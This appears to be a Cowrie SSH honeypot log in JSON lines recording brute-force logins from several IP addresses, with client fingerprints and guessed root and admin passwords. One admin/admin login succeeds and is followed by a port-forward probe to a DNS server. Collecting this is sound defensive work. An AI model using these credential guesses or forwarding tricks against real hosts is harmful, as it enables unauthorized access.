{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:57.302276Z","src_ip":"79.3.96.178","session":"48f356752519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maribel","message":"login attempt [root/maribel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:57.859657Z","src_ip":"79.3.96.178","session":"48f356752519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:19:58.995122Z","src_ip":"79.3.96.178","session":"48f356752519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42592,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e7eb98c771d","protocol":"ssh","message":"New connection: 83.168.110.85:42592 (159.203.135.109:22) [session: 5e7eb98c771d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:05.038685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:05.044877Z","src_ip":"83.168.110.85","session":"5e7eb98c771d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:05.166872Z","src_ip":"83.168.110.85","session":"5e7eb98c771d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:05.637934Z","src_ip":"83.168.110.85","session":"5e7eb98c771d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:06.763509Z","src_ip":"83.168.110.85","session":"5e7eb98c771d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":40758,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8c03468b815","protocol":"ssh","message":"New connection: 176.65.148.108:40758 (10.17.0.5:22) [session: e8c03468b815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:10.015165Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:10.100498Z","src_ip":"176.65.148.108","session":"e8c03468b815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":40760,"dst_ip":"10.17.0.5","dst_port":22,"session":"38289f91e4d7","protocol":"ssh","message":"New connection: 176.65.148.108:40760 (10.17.0.5:22) [session: 38289f91e4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:10.178536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:10.183876Z","src_ip":"176.65.148.108","session":"38289f91e4d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:10.278680Z","src_ip":"176.65.148.108","session":"38289f91e4d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"111111","message":"login attempt [a/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:10.532635Z","src_ip":"176.65.148.108","session":"38289f91e4d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:11.618570Z","src_ip":"176.65.148.108","session":"38289f91e4d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56872,"dst_ip":"159.203.135.109","dst_port":22,"session":"851ea049f1be","protocol":"ssh","message":"New connection: 83.168.110.85:56872 (159.203.135.109:22) [session: 851ea049f1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:15.364880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:15.370587Z","src_ip":"83.168.110.85","session":"851ea049f1be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:15.596580Z","src_ip":"83.168.110.85","session":"851ea049f1be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:16.111147Z","src_ip":"83.168.110.85","session":"851ea049f1be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:17.235856Z","src_ip":"83.168.110.85","session":"851ea049f1be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33118,"dst_ip":"159.203.135.109","dst_port":22,"session":"36db054ab406","protocol":"ssh","message":"New connection: 83.168.110.85:33118 (159.203.135.109:22) [session: 36db054ab406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:25.785784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:25.792051Z","src_ip":"83.168.110.85","session":"36db054ab406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:25.919265Z","src_ip":"83.168.110.85","session":"36db054ab406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:26.598904Z","src_ip":"83.168.110.85","session":"36db054ab406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:27.723814Z","src_ip":"83.168.110.85","session":"36db054ab406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34554,"dst_ip":"159.203.135.109","dst_port":22,"session":"d83ef4b3a1d4","protocol":"ssh","message":"New connection: 83.168.110.85:34554 (159.203.135.109:22) [session: d83ef4b3a1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:36.614870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:36.619751Z","src_ip":"83.168.110.85","session":"d83ef4b3a1d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:36.862408Z","src_ip":"83.168.110.85","session":"d83ef4b3a1d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:37.359010Z","src_ip":"83.168.110.85","session":"d83ef4b3a1d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":58354,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa9efc5ecfdc","protocol":"ssh","message":"New connection: 109.237.96.109:58354 (159.203.135.109:22) [session: aa9efc5ecfdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:37.890225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:37.900602Z","src_ip":"109.237.96.109","session":"aa9efc5ecfdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:37.991842Z","src_ip":"109.237.96.109","session":"aa9efc5ecfdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gbpltw","message":"login attempt [root/gbpltw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:38.265080Z","src_ip":"109.237.96.109","session":"aa9efc5ecfdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:38.482834Z","src_ip":"83.168.110.85","session":"d83ef4b3a1d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:39.357027Z","src_ip":"109.237.96.109","session":"aa9efc5ecfdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38182,"dst_ip":"10.17.0.5","dst_port":22,"session":"b358ba5a9e65","protocol":"ssh","message":"New connection: 87.251.64.176:38182 (10.17.0.5:22) [session: b358ba5a9e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:42.789155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:42.794290Z","src_ip":"87.251.64.176","session":"b358ba5a9e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:42.956730Z","src_ip":"87.251.64.176","session":"b358ba5a9e65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:43.441962Z","src_ip":"87.251.64.176","session":"b358ba5a9e65","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:43.607454Z","session":"b358ba5a9e65","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:43.761333Z","src_ip":"87.251.64.176","session":"b358ba5a9e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:43.930377Z","src_ip":"87.251.64.176","session":"b358ba5a9e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":28835,"dst_ip":"10.17.0.5","dst_port":22,"session":"5860d462e433","protocol":"ssh","message":"New connection: 2.57.121.25:28835 (10.17.0.5:22) [session: 5860d462e433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:46.055092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:46.060359Z","src_ip":"2.57.121.25","session":"5860d462e433","protocol":"ssh"}
